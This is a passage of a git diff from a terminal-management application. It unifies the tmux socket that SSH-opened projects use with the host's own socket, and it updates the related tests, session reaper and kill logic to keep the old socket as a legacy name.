2)).toEqual(['-L', 'node-terminal'])expect(argv).toContain('new-session')})diff --git a/src/core/remote-ssh/control-master.test.ts b/src/core/remote-ssh/control-master.test.tsindex 647cbb404..a6dccc0f0 100644--- a/src/core/remote-ssh/control-master.test.ts+++ b/src/core/remote-ssh/control-master.test.ts@@ -355,7 +355,7 @@ describe('remoteListSessionsArgs', () => {it('asks the remote nodeterm tmux socket for session names only', () => {const args = remoteListSessionsArgs(conn, '/cm/p1')const cmd = args[args.length - 1]- expect(cmd).toContain('tmux -L nodeterm-rmt list-sessions')+ expect(cmd).toContain('tmux -L node-terminal list-sessions')expect(cmd).toContain('#{session_name}')})@@ -604,10 +604,11 @@ describe('probeSaysAbsent (has-session probe discrimination)', () => {})describe('killing a session by name (both sockets, exact target)', () => {- // Two nodeterm tmux sockets live on every host at once: `node-terminal` for a nodeterm running ON- // the machine, `nodeterm-rmt` for one SSH-ing INTO it. The session-memory sweep lists BOTH, so a- // kill routed to one of them promised something it could not do for every row off the other — a- // host running its own nodeterm-server is exactly that shape.+ // Two nodeterm tmux sockets can live on a host: `node-terminal` for every nodeterm (running ON+ // the machine or SSH-ing INTO it — one socket since the 2026-11 unification), `nodeterm-rmt` for+ // sessions a pre-unification build's SSH projects left behind. The session-memory sweep lists+ // BOTH, so a kill routed to one of them promised something it could not do for every row off+ // the other.it('covers both sockets a nodeterm session can live on', () => {expect([...KILL_TMUX_SOCKETS].sort()).toEqual(['node-terminal', 'nodeterm-rmt'])})@@ -637,12 +638,12 @@ describe('killing a session by name (both sockets, exact target)', () => {expect([...localKillSockets(null, true)].sort()).toEqual(['node-terminal', 'nodeterm-rmt'])})- it('keeps the remote default on the ssh socket, and overrides it explicitly', () => {+ it('keeps the remote default on the host socket, and overrides it explicitly', () => {expect(remoteTmuxKillArgs(conn, '/s.sock', 'nt-x').at(-1)).toBe(`${TP}tmux -L ${RMT_TMUX_SOCKET} kill-session -t '=nt-x'`)- expect(remoteTmuxKillArgs(conn, '/s.sock', 'nt-x', 'node-terminal').at(-1)).toBe(- `${TP}tmux -L node-terminal kill-session -t '=nt-x'`+ expect(remoteTmuxKillArgs(conn, '/s.sock', 'nt-x', 'nodeterm-rmt').at(-1)).toBe(+ `${TP}tmux -L nodeterm-rmt kill-session -t '=nt-x'`)})@@ -651,7 +652,7 @@ describe('killing a session by name (both sockets, exact target)', () => {expect(runs).toHaveLength(2)expect(runs.map((r) => r.at(-1)).sort()).toEqual([`${TP}tmux -L node-terminal kill-session -t '=nt-x'`,- `${TP}tmux -L ${RMT_TMUX_SOCKET} kill-session -t '=nt-x'`+ `${TP}tmux -L nodeterm-rmt kill-session -t '=nt-x'`])// Each is a complete child-ssh argv, not a bare command.for (const r of runs) expect(r.slice(0, childPrefix.length)).toEqual(childPrefix)diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.tsindex 6e2ce1624..6a71b2f23 100644--- a/src/core/remote-ssh/control-master.ts+++ b/src/core/remote-ssh/control-master.ts@@ -26,8 +26,31 @@ import { VISIBLE_CAPTURE_FORMAT, capturePaneTarget } from '../watch-link/captureimport { WATCHER_CLIENT_FLAGS, WINDOW_SIZE_FORMAT } from '../watch-link/watcher-client'// Dependency-free (no node-pty): safe to import from these pure builders.-/** Dedicated remote tmux socket so an SSH project never collides with the user's own tmux. */-export const RMT_TMUX_SOCKET = 'nodeterm-rmt'+/**+ * The tmux socket an SSH project's sessions live on, ON THE HOST — and it is the SAME socket a+ * nodeterm running on that host uses (`TMUX_SOCKET`), deliberately.+ *+ * Both sides read the same `.nodeterm/project.json` and name every session `nt-<nodeId>`, so the+ * socket was the only thing keeping them apart: with a socket of its own (`nodeterm-rmt`, until+ * 2026-11) a canvas opened locally on the server and the same folder opened over SSH from a laptop+ * were two tmux servers holding same-named sessions that never saw each other, and every switch of+ * machines cold-restored into a fresh shell (field report; the mobile half was issue #1319). The+ * original "never collide with the user's own tmux" rationale is satisfied by `node-terminal`+ * already — the user's own tmux is on `default`.+ *+ * Kept as its own export because the remote builders read as "the remote socket" and the two could+ * legitimately diverge again (a host-side setting, say); `unified-socket.test.ts` pins the equality.+ */+export const RMT_TMUX_SOCKET: string = TMUX_SOCKET++/**+ * The socket the SSH path used BEFORE the unification. Nothing is spawned here any more; the sweeps+ * (session memory, dev ports), the reaper and the by-name kill still list it so sessions an older+ * build left there stay visible as orphans and reapable/killable instead of leaking. A session+ * still living here is NOT re-attached — the node cold-restores onto `TMUX_SOCKET` exactly as after+ * a host reboot, and the old one shows up in the session-memory panel as an orphan.+ */+export const LEGACY_RMT_TMUX_SOCKET = 'nodeterm-rmt'/*** Every remote command that invokes `tmux` goes through this: the PATH-append prologue@@ -464,19 +487,18 @@ export function probeSaysAbsent(err: unknown): boolean {* Every tmux socket a nodeterm session can be living on, on ONE machine — used when we are asked to* end a session by NAME and do not know which socket holds it.*- * Both exist on the same host all the time: `node-terminal` is what a nodeterm running ON that- * machine uses (desktop or Server Edition), `nodeterm-rmt` is what a nodeterm SSH-ing INTO it uses.- * The session-memory sweep lists both (`session-memory.ts`, `session-memory-remote.ts`) — so a kill- * that only ever targeted one of them promised something it could not do for every row that came- * off the other. That is not exotic: a host that runs its own `nodeterm-server` and is also SSH'd- * into is exactly this shape.+ * Both can exist on the same host: `node-terminal` is what every nodeterm uses now (running ON the+ * machine or SSH-ing INTO it), `nodeterm-rmt` is where a pre-unification build put an SSH project's+ * sessions (`LEGACY_RMT_TMUX_SOCKET`). The session-memory sweep lists both (`session-memory.ts`,+ * `session-memory-remote.ts`) — so a kill that only ever targeted one of them promised something it+ * could not do for every row that came off the other.** Deliberately NOT the same constant the sweep and the reaper use, even though it holds the same two* names: for THEM the order is load-bearing (the sweep's `bySession` is first-wins, so the order* decides which socket a duplicate name is attributed to), and for a kill it means nothing. Sharing* one array would silently couple a de-duplication preference to a kill list.*/-export const KILL_TMUX_SOCKETS: readonly string[] = [TMUX_SOCKET, RMT_TMUX_SOCKET]+export const KILL_TMUX_SOCKETS: readonly string[] = [TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET]/*** Which local sockets a destroy must attempt.@@ -487,8 +509,8 @@ export const KILL_TMUX_SOCKETS: readonly string[] = [TMUX_SOCKET, RMT_TMUX_SOCKE* With no live session the name is all we have, and then it depends on who is asking:* - `everySocket: false` (the default, and every ordinary caller) → the local socket only. An* ordinary node-× on a node that was never mounted in THIS process — the common case after an- * app restart — has no business speculating at `nodeterm-rmt`, which carries the sessions- * ANOTHER machine's nodeterm SSHed in to spawn here.+ * app restart — has no business speculating at the legacy `nodeterm-rmt`, which carries the+ * sessions a pre-unification build on ANOTHER machine SSHed in to spawn here.* - `everySocket: true` → every socket the name could be on. Only the session-memory panel's* speculative kill asks for this, and it is the one caller that has earned it: the panel sweeps* BOTH sockets, so an orphan row genuinely can be on either, and a kill aimed at one of themdiff --git a/src/core/remote-ssh/share-team-remote.test.ts b/src/core/remote-ssh/share-team-remote.test.tsindex 3111f9d05..b64961b82 100644--- a/src/core/remote-ssh/share-team-remote.test.ts+++ b/src/core/remote-ssh/share-team-remote.test.ts@@ -40,7 +40,7 @@ beforeAll(() => {// A fake tmux: sessions are files in $STATE; a "*.stuck" one survives kill-session. Like real// tmux, a target WITHOUT the leading `=` that matches no session exactly falls back to a prefix// match, and a miss prints tmux's own message (measured on tmux 3.4) with exit 1. Any socket but- // this desktop's `nodeterm-rmt` is recorded and refused, so a kill aimed at another socket fails.+ // the host's `node-terminal` is recorded and refused, so a kill aimed at another socket fails.// FAKE_TMUX_MODE makes every call fail with one of tmux's connect or version errors.write(path.join(bin, 'tmux'),@@ -50,12 +50,12 @@ beforeAll(() => {`W=${JSON.stringify(wrongSocketLog)}`,'cmd=""; target=""; sock=""','while [ $# -gt 0 ]; do case "$1" in -L) shift; sock="$1";; -t) shift; target="$1";; kill-session|has-session|list-panes) cmd="$1";; esac; shift; done',- 'if [ "$sock" != nodeterm-rmt ]; then echo "$sock $cmd $target" >> "$W"; echo "fake tmux: unexpected socket" >&2; exit 99; fi',+ 'if [ "$sock" != node-terminal ]; then echo "$sock $cmd $target" >> "$W"; echo "fake tmux: unexpected socket" >&2; exit 99; fi','case "$FAKE_TMUX_MODE" in'," mismatch) echo 'protocol version mismatch (client 8, server 7)' >&2; exit 1;;",- " denied) echo 'error connecting to /tmp/tmux-1000/nodeterm-rmt (Permission denied)' >&2; exit 1;;",- " nofile) echo 'error connecting to /tmp/tmux-1000/nodeterm-rmt (No such file or directory)' >&2; exit 1;;",- " refused) echo 'error connecting to /tmp/tmux-1000/nodeterm-rmt (Connection refused)' >&2; exit 1;;",+ " denied) echo 'error connecting to /tmp/tmux-1000/node-terminal (Permission denied)' >&2; exit 1;;",+ " nofile) echo 'error connecting to /tmp/tmux-1000/node-terminal (No such file or directory)' >&2; exit 1;;",+ " refused) echo 'error connecting to /tmp/tmux-1000/node-terminal (Connection refused)' >&2; exit 1;;",'esac','name="${target#=}"','exact=0; [ "$name" != "$target" ] && exact=1',@@ -65,7 +65,7 @@ beforeAll(() => {' for f in "$S/$name"*; do [ -e "$f" ] || continue; b=$(basename "$f"); name="${b%.stuck}"; return 0; done',' return 1','}',- "missing() { if [ -n \"$(ls \"$S\")\" ]; then echo \"can't find session: $name\" >&2; else echo 'no server running on /tmp/tmux-1000/nodeterm-rmt' >&2; fi; exit 1; }",+ "missing() { if [ -n \"$(ls \"$S\")\" ]; then echo \"can't find session: $name\" >&2; else echo 'no server running on /tmp/tmux-1000/node-terminal' >&2; fi; exit 1; }",'case "$cmd" in',' list-panes) for f in "$S"/*; do [ -e "$f" ] || continue; b=$(basename "$f"); b="${b%.stuck}"; echo "$b|$(cat "$f")"; done; exit 0;;',' kill-session) resolve || missing; [ -e "$S/$name.stuck" ] && exit 0; rm -f "$S/$name"; exit 0;;',@@ -344,7 +344,7 @@ describe.skipIf(process.platform === 'win32')('share-team remote shell (real /biconst cmd = teamCliCommand({ node: path.join(bin, 'node'), main: '/x/main.cjs', dataDir: '/d' }, ['info', '--no-newline'])expect(parseTeamCliOutput(await sh(cmd))).toEqual({ rc: 0, body: { a: 1 } })})- it('kills exactly the named sessions on nodeterm-rmt and verifies each; a dotted id maps through sessionName', async () => {+ it('kills exactly the named sessions on node-terminal and verifies each; a dotted id maps through sessionName', async () => {for (const s of ['nt-term-1', 'nt-term-a_1', 'nt-term-12', 'nt-term-stuck.stuck']) fs.writeFileSync(path.join(state, s), 'x')const ids = ['term-1', 'term-a.1', 'term-stuck', 'term-never']const r = parseKillVerify(await sh(killVerifyCommand(ids)), ids)diff --git a/src/core/remote-ssh/share-team-remote.ts b/src/core/remote-ssh/share-team-remote.tsindex 967c2b67a..4f3306903 100644--- a/src/core/remote-ssh/share-team-remote.ts+++ b/src/core/remote-ssh/share-team-remote.ts@@ -10,9 +10,10 @@// - fence markers are printed QUOTED, because an unquoted `#` starts a comment;// - paths are quoted;// - session names come only from `sessionName`, for safe node ids only;-// - kills target `=nt-<id>` exactly, on `nodeterm-rmt` ONLY. That is this desktop's socket. The-// server core's `node-terminal` sessions are the ones being resumed, so the every-socket kill-// used elsewhere would stop exactly the sessions the handover exists to start;+// - kills target `=nt-<id>` exactly — the project's OWN node ids — on the host's `node-terminal`+// only, never the every-socket fan-out used elsewhere. Since the 2026-11 socket unification this+// is the same socket the server core resumes on: the kill runs BEFORE the resume, which is what+// keeps one process per conversation;// - the probe never RUNS an installed server it has not first recognised as new enough: a build// from before the `team` CLI ignores `team` and boots a whole second server.import { posixQuote, quoteRemotePath, remoteTmuxPathPrologue } from '../../shared/ssh'diff --git a/src/core/remote-ssh/unified-socket.test.ts b/src/core/remote-ssh/unified-socket.test.tsnew file mode 100644index 000000000..3ebac670b--- /dev/null+++ b/src/core/remote-ssh/unified-socket.test.ts@@ -0,0 +1,44 @@+// The same canvas opened through SSH and opened ON the host must attach the same tmux sessions.+//+// Both sides read the same `.nodeterm/project.json` and name every session `nt-<nodeId>`, so the+// only thing that could keep them apart is the SOCKET. Until 2026-11 the SSH path used a socket of+// its own (`nodeterm-rmt`): a user who opened a project locally on the server and then opened the+// same folder over SSH from a laptop got two tmux servers holding same-named sessions that never+// saw each other — every switch of machines cold-restored into a fresh shell (field report, and the+// mobile half of it was issue #1319). The "dedicated socket so we never collide with the user's own+// tmux" rationale was already satisfied by `node-terminal` (the user's own tmux is on `default`).+//+// `nodeterm-rmt` survives ONLY as a legacy name the sweeps, the reaper and the by-name kill still+// look at, so sessions a pre-unification build left there stay visible as orphans and are reaped or+// killable rather than leaking.+import { describe, expect, it } from 'vitest'+import { TMUX_SOCKET } from '../tmux-naming'+import { KILL_TMUX_SOCKETS, LEGACY_RMT_TMUX_SOCKET, RMT_TMUX_SOCKET } from './control-master'+import { remoteTmuxCommand } from '../../shared/ssh'+import { DEV_PORT_SOCKETS } from '../dev-ports'+import { remoteSessionMemoryCommand } from '../session-memory-remote'++describe('one tmux socket per host, whichever side opens the project', () => {+ it('the SSH path uses the socket a nodeterm running ON the host uses', () => {+ expect(RMT_TMUX_SOCKET).toBe(TMUX_SOCKET)+ })++ it('remoteTmuxCommand lands on that socket by default', () => {+ expect(remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '/srv/app' })).toBe(+ `tmux -L ${TMUX_SOCKET} new-session -A -s 'nt-x' -c '/srv/app'`+ )+ })++ it('the pre-unification socket is still named, as legacy only', () => {+ expect(LEGACY_RMT_TMUX_SOCKET).toBe('nodeterm-rmt')+ expect(LEGACY_RMT_TMUX_SOCKET).not.toBe(TMUX_SOCKET)+ })++ it('kill, dev-port and session-memory sweeps still look at the legacy socket', () => {+ expect(KILL_TMUX_SOCKETS).toEqual([TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET])+ expect(DEV_PORT_SOCKETS).toEqual([TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET])+ const cmd = remoteSessionMemoryCommand()+ expect(cmd).toContain(`-L ${TMUX_SOCKET} `)+ expect(cmd).toContain(`-L ${LEGACY_RMT_TMUX_SOCKET} `)+ })+})diff --git a/src/core/session-budget.ts b/src/core/session-budget.tsindex c4fcd32d1..58d202d40 100644--- a/src/core/session-budget.ts+++ b/src/core/session-budget.ts@@ -35,7 +35,7 @@ import os from 'os'import { execFile } from 'child_process'import { promisify } from 'util'import { TMUX_SOCKET } from './tmux-naming'-import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'+import { LEGACY_RMT_TMUX_SOCKET } from './remote-ssh/control-master'import { readMemInfo, type MemInfo } from './session-memory'const runAsync = promisify(execFile)@@ -437,9 +437,10 @@ export interface SessionHostReaperBackend {export interface SessionReaperOpts {/** Lazy tmux binary resolver (PtyManager resolves after init; null = tmux unavailable → no-op). */tmuxBin: () => string | null- /** tmux sockets to sweep. Default: the local socket + the SSH-remote socket — a host that serves- * SSH projects accumulates sessions on `nodeterm-rmt`, and its own nodeterm-server (this- * process) is the natural owner of reaping them; the desktops that spawned them may be gone. */+ /** tmux sockets to sweep. Default: the one socket every nodeterm uses on this host (local AND+ * SSH projects since the 2026-11 unification) + the legacy SSH-remote socket, where a host that+ * served SSH projects to older builds still holds sessions nobody will re-attach; its own+ * nodeterm-server (this process) is the natural owner of reaping them. */sockets?: string[]/*** The tmux sessions THIS process holds a control-mode client on, per socket — a per-session@@ -463,7 +464,7 @@ export interface SessionReaperOpts {* it is attached to, so nothing here ever owes a subtraction of two.** Per SOCKET, not per name: `nt-<node>` is only unique within a socket, and a genuinely attached- * session of the same name on `nodeterm-rmt` must keep its exemption.+ * session of the same name on the legacy `nodeterm-rmt` must keep its exemption.*/shadowed?: (socket: string) => Iterable<string>/**@@ -511,7 +512,7 @@ export const SESSION_SWEEP_INTERVAL_MS = 10 * 60_000* FRESH listing at kill time (a session that got attached between plan and kill is spared).*/export function createSessionReaper(opts: SessionReaperOpts): SessionReaper {- const sockets = opts.sockets ?? [TMUX_SOCKET, RMT_TMUX_SOCKET]+ const sockets = opts.sockets ?? [TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET]const exec =opts.exec ??(async (bin: string, args: string[]): Promise<string> => {diff --git a/src/core/session-memory-remote.ts b/src/core/session-memory-remote.tsindex 0a3b176cb..46555998a 100644--- a/src/core/session-memory-remote.ts+++ b/src/core/session-memory-remote.ts@@ -18,7 +18,7 @@ import {} from './session-memory'import { TMUX_SOCKET } from './tmux-naming'import { REMOTE_TMUX_PATH_DIRS } from '../shared/ssh'-import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'+import { LEGACY_RMT_TMUX_SOCKET } from './remote-ssh/control-master'const MEM = '##MEM'const PANES = '##PANES'@@ -30,7 +30,7 @@ const SOCKRC = '##SOCKRC'/** The sockets the remote sweep lists, in the order it lists them (the local leg's default order —* `bySession` is first-wins, so the order decides which socket a duplicate name is attributed to). */-const SWEEP_SOCKETS: readonly string[] = [TMUX_SOCKET, RMT_TMUX_SOCKET]+const SWEEP_SOCKETS: readonly string[] = [TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET]/*** The generated command. Notes that are load-bearing:diff --git a/src/core/session-memory.ts b/src/core/session-memory.tsindex 95db5389d..ef16c2838 100644--- a/src/core/session-memory.ts+++ b/src/core/session-memory.ts@@ -23,7 +23,7 @@ import type {SessionMemoryReport} from '../shared/types'import { TMUX_SOCKET } from './tmux-naming'-import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'+import { LEGACY_RMT_TMUX_SOCKET } from './remote-ssh/control-master'import type { SessionHostListing } from './session-host-client'import { cimRows, powershellArgs, powershellExe } from './win32-powershell'@@ -896,7 +896,7 @@ export async function collectSessionMemory(if (table === null && !deps.readTable) table = await psProcessTable(exec, process.platform)if (table === null) return { ok: false, rows: [], mem }- const sockets = deps.sockets ?? [TMUX_SOCKET, RMT_TMUX_SOCKET]+ const sockets = deps.sockets ?? [TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET]const bySession = new Map<string, PaneRef>()let answered = 0for (const s of sockets) {diff --git a/src/core/tmux-naming.ts b/src/core/tmux-naming.tsindex 815ba571c..0b0a38373 100644--- a/src/core/tmux-naming.ts+++ b/src/core/tmux-naming.ts@@ -267,7 +267,7 @@ export interface PasteDelivery {* `list-buffers`, a phone attaching), for as long as the server lives — days, on a host with* dozens of sessions. `buffer-limit` does not save it: named buffers are not reaped (measured —* 60 named buffers under `buffer-limit 50`, all 60 survived). The payload can be a note push or- * a 300 KB scrollback paste. Same story on the remote `nodeterm-rmt` server.+ * a 300 KB scrollback paste. Same story on an SSH host's server.*/cleanup: string[] | null}diff --git a/src/core/tmux-socket-isolation.guard.test.ts b/src/core/tmux-socket-isolation.guard.test.tsindex d48c7f96f..cb4d99753 100644--- a/src/core/tmux-socket-isolation.guard.test.ts+++ b/src/core/tmux-socket-isolation.guard.test.ts@@ -1,6 +1,6 @@// Issue #629 — the invariant: **a test never touches the machine's live nodeterm tmux server.**//-// This repo is developed from inside nodeterm, so `tmux -L node-terminal` and `-L nodeterm-rmt` are+// This repo is developed from inside nodeterm, so `tmux -L node-terminal` (and the legacy `-L nodeterm-rmt`) are// not names in a fixture — on a contributor's machine they are the servers holding every terminal// they have open. A test that binds one shares a process with the user's entire canvas, and the// failure mode is not a red test: it is every pane printing `[server exited unexpectedly]`.@@ -25,7 +25,7 @@ import { execFileSync } from 'child_process'import { existsSync, readdirSync, readFileSync, statSync } from 'fs'import { join, relative } from 'path'import { TMUX_SOCKET } from './tmux-naming'-import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'+import { LEGACY_RMT_TMUX_SOCKET, RMT_TMUX_SOCKET } from './remote-ssh/control-master'import { SANDBOX_ENV, tmuxSocketPath } from './tmux-test-socket'const REPO_ROOT = join(__dirname, '..', '..')@@ -98,7 +98,7 @@ describe('the run cannot reach a live nodeterm tmux server', () => {const REAL_SOCKET_ALLOWED = new Map<string, string>([['src/core/agents/pane-owner.test.ts',- 'the production bytes hardcode `-L nodeterm-rmt`; re-spelling it would judge different bytes'+ 'the production bytes hardcode the remote socket name; re-spelling it would judge different bytes'],['src/main/remote/host-destroy-tmux.test.ts',@@ -182,6 +182,7 @@ describe('no unreviewed test hands a real socket name to a real tmux', () => {// The regex carries the two names as literals so it can read a test that hardcodes them. If a// constant is ever renamed, this is what says the scan went blind.expect(TMUX_SOCKET).toBe('node-terminal')- expect(RMT_TMUX_SOCKET).toBe('nodeterm-rmt')+ expect(RMT_TMUX_SOCKET).toBe('node-terminal') // unified 2026-11 (unified-socket.test.ts)+ expect(LEGACY_RMT_TMUX_SOCKET).toBe('nodeterm-rmt')})})diff --git a/src/core/watch-link/pane-input.ts b/src/core/watch-link/pane-input.tsindex 21d6fe622..d4919600c 100644--- a/src/core/watch-link/pane-input.ts+++ b/src/core/watch-link/pane-input.ts@@ -155,7 +155,7 @@ export function localPasteArgs(socket: string, session: string, buffer: string):]}-/** ssh args running `tmux -L nodeterm-rmt source-file -` on the host; the command text rides stdin. */+/** ssh args running `tmux -L node-terminal source-file -` on the host; the command text rides stdin. */export function remoteKeysArgs(conn: SshConnection, controlPath: string): string[] {return childArgs(conn, controlPath, tmuxCmd(`tmux -L ${RMT_TMUX_SOCKET} source-file -`))}@@ -198,7 +198,7 @@ export function controlInputPlan(socket: string, session: string, chunk: Controlreturn { args: localPasteArgs(socket, session, buffer), body, cleanup: localTmuxDeleteBufferArgs(socket, buffer) }}-/** `controlInputPlan` on the host, over the ControlMaster (the `nodeterm-rmt` socket there). */+/** `controlInputPlan` on the host, over the ControlMaster (the host's `node-terminal` socket). */export function remoteControlInputPlan(conn: SshConnection,controlPath: string,diff --git a/src/main/remote-ssh/ssh-project.killSessions.test.ts b/src/main/remote-ssh/ssh-project.killSessions.test.tsindex 1604f7b89..358de8681 100644--- a/src/main/remote-ssh/ssh-project.killSessions.test.ts+++ b/src/main/remote-ssh/ssh-project.killSessions.test.ts@@ -42,9 +42,9 @@ const commands = (runs: string[][]): string[] => runs.map((r) => r.at(-1)!).sortdescribe('SshProjectManager.killSessions', () => {it('kills the name on EVERY tmux socket when the caller opts in', async () => {- // The session-memory sweep lists both sockets, so its rows can come off either. A kill aimed- // only at `nodeterm-rmt` left every row from a host's own nodeterm-server running, after a- // confirm that said otherwise.+ // The session-memory sweep lists both sockets, so its rows can come off either — including+ // the legacy `nodeterm-rmt` a pre-unification build left sessions on. A kill aimed at one+ // socket left every row off the other running, after a confirm that said otherwise.const { mgr, runs } = managerWithConn()await mgr.killSessions('p1', ['abc'], { everySocket: true })expect(commands(runs)).toEqual([@@ -54,17 +54,17 @@ describe('SshProjectManager.killSessions', () => {})it('stays on the project s own socket by default', async () => {- // Project deletion knows its own nodes and they are all on `nodeterm-rmt`. `node-terminal` on- // that host belongs to a nodeterm running ON it, so a delete must not speculate there.+ // Project deletion knows its own nodes and they are all on the host's `node-terminal`. The+ // legacy `nodeterm-rmt` holds only what an older build left, so a delete must not speculate there.const { mgr, runs } = managerWithConn()await mgr.killSessions('p1', ['abc'])- expect(commands(runs)).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t '=nt-abc'`])+ expect(commands(runs)).toEqual([`${TP}tmux -L node-terminal kill-session -t '=nt-abc'`])})it('demands a literal true — the flag comes off the wire', async () => {const { mgr, runs } = managerWithConn()await mgr.killSessions('p1', ['abc'], { everySocket: 'yes' as unknown as boolean })- expect(commands(runs)).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t '=nt-abc'`])+ expect(commands(runs)).toEqual([`${TP}tmux -L node-terminal kill-session -t '=nt-abc'`])})it('is best-effort: a socket that refuses does not spare the others', async () => {diff --git a/src/main/remote-ssh/ssh-project.pendingKills.test.ts b/src/main/remote-ssh/ssh-project.pendingKills.test.tsindex 714589697..ebc05be96 100644--- a/src/main/remote-ssh/ssh-project.pendingKills.test.ts+++ b/src/main/remote-ssh/ssh-project.pendingKills.test.ts@@ -66,7 +66,7 @@ describe('SshProjectManager: settling owed remote kills on connect', () => {await settle(mgr)- expect(runs.map((r) => r.at(-1))).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t '=nt-abc'`])+ expect(runs.map((r) => r.at(-1))).toEqual([`${TP}tmux -L node-terminal kill-session -t '=nt-abc'`])expect(await pendingRemoteKillsFor(HOST)).toEqual([])})diff --git a/src/main/remote-ssh/ssh-project.ts b/src/main/remote-ssh/ssh-project.tsindex 133c11805..e789125ff 100644--- a/src/main/remote-ssh/ssh-project.ts+++ b/src/main/remote-ssh/ssh-project.ts@@ -1556,13 +1556,14 @@ export class SshProjectManager {* `remoteListSessionsArgs` reports). Best-effort per id, a missing session is ignored.** `everySocket` widens the kill to EVERY tmux socket on the host instead of just the- * `nodeterm-rmt` one an SSH project spawns on, and it is **opt-in for one caller**. The- * session-memory panel passes rows swept off BOTH of the host's sockets — a host that runs its- * own `nodeterm-server` keeps those on `node-terminal` — and such a row used to get a confirm+ * `node-terminal` one an SSH project spawns on, and it is **opt-in for one caller**. The+ * session-memory panel passes rows swept off BOTH of the host's sockets — the legacy+ * `nodeterm-rmt` still holds what a pre-unification build left — and such a row used to get a confirm* reading "this stops its tmux session" followed by a kill aimed at the other socket, so nothing* died. Project deletion deliberately stays narrow: it knows its own nodes, they are all on the- * project's own socket, and speculating at `node-terminal` would aim at sessions belonging to a- * nodeterm running ON that host. See `KILL_TMUX_SOCKETS`.+ * host's `node-terminal` (shared with a nodeterm running ON that host — a shared session is the+ * same node of the same project, so ending it is right), and speculating at the legacy socket+ * would aim at what an older build left behind. See `KILL_TMUX_SOCKETS`.*/async killSessions(projectId: string,diff --git a/src/renderer/lib/shareSshTeam.ts b/src/renderer/lib/shareSshTeam.tsindex d4166be5e..6541707c7 100644--- a/src/renderer/lib/shareSshTeam.ts+++ b/src/renderer/lib/shareSshTeam.ts@@ -7,7 +7,7 @@// 1. Nothing is ended before `bootstrap` succeeded. Until the server has adopted and shared the// project, the SSH sessions are the only place the work lives; a failure before that point must// leave every terminal running.-// 2. Nothing is resumed on the server before its `nodeterm-rmt` session was VERIFIED gone, so there+// 2. Nothing is resumed on the server before its SSH-spawned session was VERIFIED gone, so there// are never two processes on one conversation (two CLIs appending to one transcript). A kill// that could not be verified resumes nothing and reports the node as still on SSH.// 3. After a successful bootstrap the SSH project is never reopened: the server is now the onlydiff --git a/src/server/index.ts b/src/server/index.tsindex b9a2ac37b..1789ba749 100644--- a/src/server/index.ts+++ b/src/server/index.ts@@ -879,8 +879,10 @@ export async function startServer(// Session budget (docs/SERVER.md): reap long-idle DETACHED nt- tmux sessions under memory// pressure (10%-of-RAM watermark) or past a count cap, on BOTH the local socket and the- // SSH-remote socket (`nodeterm-rmt`) — a host serving SSH projects accumulates sessions there,- // and this standing process is the natural owner of reaping them (field report: 95 sessions /+ // legacy SSH-remote socket (`nodeterm-rmt`, where pre-unification builds' SSH projects left+ // sessions — today an SSH project spawns on `node-terminal` too) — a host that served SSH+ // projects accumulates sessions there, and this standing process is the natural owner of reaping+ // them (field report: 95 sessions /// 34 GB idle claude). Attached sessions are never touched; a reaped node cold-restores on next// open. Kill switch + tuning via NODETERM_SESSION_* env (core/session-budget.ts).// `shadowed` subtracts our own control-mode shadows from tmux's attached flag: a shadow is a realdiff --git a/src/shared/ssh.test.ts b/src/shared/ssh.test.tsindex 811255851..b22ba4d49 100644--- a/src/shared/ssh.test.ts+++ b/src/shared/ssh.test.ts@@ -257,18 +257,18 @@ describe('quoteRemotePath', () => {describe('remoteTmuxCommand', () => {it('builds attach-or-create on the remote socket with a quoted cwd', () => {expect(remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '/srv/app' })).toBe(- `tmux -L nodeterm-rmt new-session -A -s 'nt-x' -c '/srv/app'`+ `tmux -L node-terminal new-session -A -s 'nt-x' -c '/srv/app'`)})it('tilde-expands a home-relative cwd (leaves ~/ unquoted)', () => {expect(remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '~/project' })).toBe(- `tmux -L nodeterm-rmt new-session -A -s 'nt-x' -c ~/'project'`+ `tmux -L node-terminal new-session -A -s 'nt-x' -c ~/'project'`)})it('appends a quoted program + args when given', () => {expect(remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '/a', program: 'ssh', programArgs: ['-A', 'h'] })- ).toBe(`tmux -L nodeterm-rmt new-session -A -s 'nt-x' -c '/a' 'ssh' '-A' 'h'`)+ ).toBe(`tmux -L node-terminal new-session -A -s 'nt-x' -c '/a' 'ssh' '-A' 'h'`)})})diff --git a/src/shared/ssh.ts b/src/shared/ssh.tsindex 5f461eeaa..6bf7ecb97 100644--- a/src/shared/ssh.ts+++ b/src/shared/ssh.ts@@ -392,7 +392,10 @@ export function remoteTmuxCommand(opts: {/** When set, sources this remote conf via `-f` (spliced before `new-session`). */confPath?: string}): string {- const socket = opts.socket ?? 'nodeterm-rmt'+ // Default = the host's own nodeterm socket (`TMUX_SOCKET` in core/tmux-naming, pinned equal by+ // core/remote-ssh/unified-socket.test.ts — shared/ must not import core/). An SSH project and a+ // nodeterm running ON the host attach the same `nt-<id>` sessions only because this is one name.+ const socket = opts.socket ?? 'node-terminal'const parts = ['tmux','-L',diff --git a/src/shared/types.ts b/src/shared/types.tsindex 34a7a6db1..6b24639d4 100644--- a/src/shared/types.ts+++ b/src/shared/types.ts@@ -1368,8 +1368,8 @@ export interface PtyApi {* `everySocket` (optional, trailing) widens a kill for a session we hold NOTHING for to every* local tmux socket the name could be on. Opt-in for one caller — the session-memory panel's* speculative kill of a row it swept off either socket. An ordinary node-× must not set it: it- * takes the same unheld branch after an app restart, and `nodeterm-rmt` holds sessions another- * machine's nodeterm SSHed in to spawn. */+ * takes the same unheld branch after an app restart, and the legacy `nodeterm-rmt` holds sessions+ * a pre-unification build on another machine SSHed in to spawn. 